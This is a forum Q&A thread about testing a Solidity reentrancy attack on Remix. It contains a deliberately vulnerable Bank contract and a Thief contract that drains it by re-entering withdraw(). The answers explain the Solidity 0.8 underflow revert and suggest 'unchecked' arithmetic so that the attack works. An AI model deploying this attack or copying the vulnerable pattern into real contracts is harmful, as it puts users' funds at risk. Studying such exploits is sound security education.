Reentrancy attack fail

Question

I am trying to test this code for a reentrancy attack on remix but I keep getting the following error:

transact to Thief.attack errored: VM error: revert. revert The transaction has been reverted to the initial state. Reason provided by the contract: "Failed to send Ether". Debug the transaction to get more information.

I deployed the bank contract using address 1 and deposited some ether from addresses 1, 2, and 3. I then deployed the Thief contract using address 4 and bank address as input. I then called the attack function on the deployed Thief contract using address 4 and 2 ethers as input.

this is the code:

// SPDX - License-Identifier: MIT

pragma solidity ^0.8.17;

 contract Bank {
   mapping(address => uint) public balances;

   function deposit() public payable{
     balances[msg.sender] += msg.value;
   }

   function withdraw(uint _amount) public {
    require(balances[msg.sender] >= _amount);
    (bool sent, ) = msg.sender.call{value: _amount}("");
    require(sent, "Failed to send Ether");

    balances[msg.sender] -= _amount;
   }

   function getBalance() public view returns (uint) {
    return address(this).balance;
   } 
}

contract Thief {
  Bank public bank;

  constructor(address _bankAddress) public {
    bank = Bank(_bankAddress);
  }

  receive() external payable{
    if(address(bank).balance >= 1 ether){
        bank.withdraw(1 ether);
    }

  }

  function attack() external payable {
    require(msg.value >= 1 ether);
    bank.deposit{value: 1 ether}();
    bank.withdraw(1 ether);
  }

  function getBalance() public view returns (uint) {
    return address(this).balance;
  }
}

Answer 1

Your code is fine for solidity < 0.8.0 but not for more recent versions like 0.8.17 that you are using.

The line that leads to the revert is that one :

 balances[msg.sender] -= _amount;

This is because of the default arithmetic overflow / underflow check.

Let's say A deposited 1 ETH, and the attacker deposits 1 ETH then attempt the reentrancy attack :

• first withdraw: attacker balance goes to 0 ETH
• reentrancy: second withdraw: attacker balance goes to "-1" ETH

Since you are storing the balances as uint256 the "negative" value is detected as an overflow and the code reverts.

You can either change the faulty line for :

unchecked {
   balances[msg.sender] -= _amount;
}

To disable overflow check just for that line, or use signed integer to store the balances but that would require a bit more changes.

The code you provided is not vulnerable to that reentrancy attack since solidity 0.8.0 due to overflow checks.

I hope that answers your question.

Answer 2

We already have the answer what Sky posted, but the reason why the balance going to negative after the msg.sender.call{value: _amount}(""); is that balances[msg.sender] -= _amount; statement will be executed as many times as the withdraw function was called by the receive function in the attacker, due to which the value turns negative in every run.

You can also test its flow by incrementing the balance on withdraw balances[msg.sender] += _amount; and see the balance after attacking.

You can also add a if condition before decreementing the balance to avoid error.

if (balances[msg.sender] > 0) { balances[msg.sender] -= amount; }

Thanks